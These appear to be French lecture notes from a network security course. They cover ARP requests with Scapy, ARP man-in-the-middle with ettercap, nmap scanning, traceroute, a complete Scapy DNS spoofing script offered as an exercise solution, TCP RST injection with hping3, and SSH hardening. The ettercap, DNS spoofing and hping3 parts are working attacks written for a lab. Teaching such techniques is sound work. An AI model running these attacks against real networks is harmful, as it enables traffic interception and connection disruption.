SWRAD

Mail

qgx.prof@gmail.com

Liens

cvedetails.com : Site de recensement des failles sur des équipements réseaux

Scapy

Envoie d'une requette ARP

#! /usr/bin/env python3 from scapy.all import * conf.L3socket = L3RawSocket p = Ether(dst="FF:FF:FF:FF:FF:FF", src="9c:b6:d0:ee:b7:21")/ARP(op="who-has", hwdst="00:00:00:00:00:00", pdst="10.41.169.64", hwsrc="9c:b6:d0:ee:b7:21", psrc="10.41.178.147") sendp(p)

Ettercap

Man in the middle

Pour lancer le man in the middle il faut lancer cette commande sur la machine de l'attaquant :

sudo ettercap -T -M arp /10.41.169.64// /10.41.254.254//

Pour verrifier si il a fonctionné il faut lancer wireshark et filter les resultats avec le filtre :

icmp.type==8

La victime doit lancer ping 9.9.9.9 par exemple et on le verra sur le wireshark de l'attaquant.

ettercap route les packets vers la gateway tout seul.

Dénis de service

Un dénis de service peut être fait en se faisaiant passer pour un switch ors de la phase d'élection de la root.

Par défaut il faut désactiver le STP sur les port des switch qui ne le necessite pas.

Exploration de réseau

Nmap

List des machines sur le réseau :

nmap -n -sn 10.41.0.0/16

Traceroute

Permet de savoir par ou passe nos packets sur Internet.

kali@kali:~$ sudo traceroute -T epita.fr
traceroute to epita.fr (151.101.66.159), 30 hops max, 60 byte packets
 1  10.41.254.254 (10.41.254.254)  4.244 ms  4.218 ms  4.207 ms
 2  ro-ss-7600.int.ionis-it.com.0.0.10.in-addr.arpa (10.0.0.161)  2.716 ms  3.549 ms  4.179 ms
 3  ro-9000.int.ionis-it.com (10.0.1.254)  4.170 ms  4.162 ms  4.153 ms
 4  * * *
 5  ro-9000-fw-th2-prs-gw.ionis-it.com (163.5.2.0)  4.728 ms * *
 6  100.100.0.22 (100.100.0.22)  5.296 ms  8.986 ms  8.361 ms
 7  100.99.0.9 (100.99.0.9)  4.523 ms  4.962 ms  6.382 ms
 8  100.99.0.7 (100.99.0.7)  6.358 ms 100.99.0.3 (100.99.0.3)  6.335 ms  6.314 ms
 9  * * 100.99.0.45 (100.99.0.45)  7.049 ms
10  * fastly_s.equinix-ix.fr (195.42.145.132)  7.003 ms *
11  151.101.66.159 (151.101.66.159)  7.880 ms * *

Les lignes avec * * * représente des routeurs qui ne renvoie pas de réponse ICMP.

Scapy

! /usr/bin/env python3
from scapy.all import *

res, unans = traceroute(["assistants.epita.fr", "www.epita.fr", "ssi.gouv.fr"], dport=80, maxttl=20, retry=-2)
res.graph(target="> ./graph.svg")

Exercice pour le prochain cours (9 octobre)

Exercice page 23

Correction possible :

#!/usr/bin/env python
# nom.prénom - TCOM 2021
# python 3.8.5

from scapy.all import *

conf.L3socket = L3RawSocket

dnsserv = "8.8.8.8"

dnsport = 53
domain = "www.google.fr"
domain_dot = domain + "."
dns_qtypes = ["A", "AAAA"]
domain_ip = []

interface="eth0"

case1_spoof_ip = "1.2.3.4"
case1_spoof_port = 44

case2_spoof_ip = "::2"
case2_spoof_port = 44

case3_spoof_exchange = "mail.swrad"
case3_spoof_preference = 40

def spoofer(packet):
	if IP in packet and packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:
		dns_qr = packet.getlayer(DNSQR)
		if dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 1: # 1 = Type A
			to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
				UDP(dport=packet[UDP].sport)/ \
				DNS(id=packet[DNS].id, qr=1, aa=0, 
					qd=packet[DNS].qd, qdcount=1, \
					ancount=1, nscount=0, arcount=0, \
					an=(DNSRR(rrname=dns_qr.qname.decode(), \
						type='A', \
						ttl=case1_spoof_port, \
						rdata=case1_spoof_ip)), \
					ns=None)
			send(to_send, verbose=0)
			print(domain_dot + " A? => " + case1_spoof_ip)
		elif dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 28: # 28 = Type AAAA
			to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
				UDP(dport=packet[UDP].sport)/ \
				DNS(id=packet[DNS].id, qr=1, aa=0, \
					qd=packet[DNS].qd, qdcount=1, \
					ancount=1, nscount=0, arcount=0, \
					an=(DNSRR(rrname=dns_qr.qname, \
						type='AAAA', \
						ttl=case2_spoof_port, \
						rdata=case2_spoof_ip)), \
					ns=None)
			send(to_send, verbose=0)
			print(domain_dot + " AAAA? => " + case2_spoof_ip)
		elif dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 15: # 15 = Type MX
			to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
				UDP(dport=packet[UDP].sport)/ \
				DNS(id=packet[DNS].id, qr=1, aa=0, \
					qd=packet[DNS].qd, qdcount=1, \
					ancount=1, nscount=0, arcount=0, \
					an=(DNSRRMX(rrname=dns_qr.qname, \
						type='MX', \
						preference=case3_spoof_preference, \
						exchange=case3_spoof_exchange)), \
					ns=None)
			send(to_send, verbose=0)
			print(domain_dot + " MX? => " + case3_spoof_exchange)
		else:
			qtype_field = dns_qr.get_field('qtype')
			print(dns_qr.qname.decode() + " " + qtype_field.i2repr(dns_qr, dns_qr.qtype) + "?")


for dns_qtype in dns_qtypes:
	dnsreq = IP(dst=dnsserv)/UDP(dport=dnsport)/DNS(rd=1, qd=DNSQR(qname=domain, qtype=dns_qtype)) # rd = Recursion Desired
	dnsres = sr1(dnsreq, verbose=0)
	domain_ip.append(dnsres.an.rdata)
	print(domain + " " + dns_qtype + " " + dnsres.an.rdata)

domain_ip_A = domain_ip[0]
domain_ip_AAAA = domain_ip[1]

sniff(count=0, iface=interface, filter="udp port 53", prn=spoofer)

TCP RST

Avec cette exercice on ferme un connexion TCP entre deux machines.

Commande Serveur :

nc -l -p 1234

Commande Client :

nc 127.0.0.1 1234

Commande tcpdump :

tcpdump -n -i lo -S "src port 1234"

Commande Attaquant :

hping3 -p 1234 -s 32836 -R -M 2948493844 127.0.0.1
  • -s 32836 : Port source à changer, on trouve le sur tcpdump
    Il est possible d'inverser -s et -p, cela va envoyer la déconnexion au client ou au serveur. (Dans la commande ci-dessus on déconnect le serveur)
  • -M 2948493844 : Numéro de séquance à changer, on le trouve sur tcpdump

Le port knocking

Wikipedia (port knocking)

Comment sécuriser un serveur SSH

On refuse la connexion par mot de passe et on authorise que la connexion par échange de clé.

Le mieux est d'empécher la connexion root.

Dans le fichier de configuration (souvent /etc/ssh/sshd_config) on devrait avoir au moins :

PermitRootLogin no
PubkeyAuthentication yes
PasswordAuthentication no

DDoS par amplification DNS

Explication simplifié d'un DDoS par amplifiacation DNS : Article Cloudflare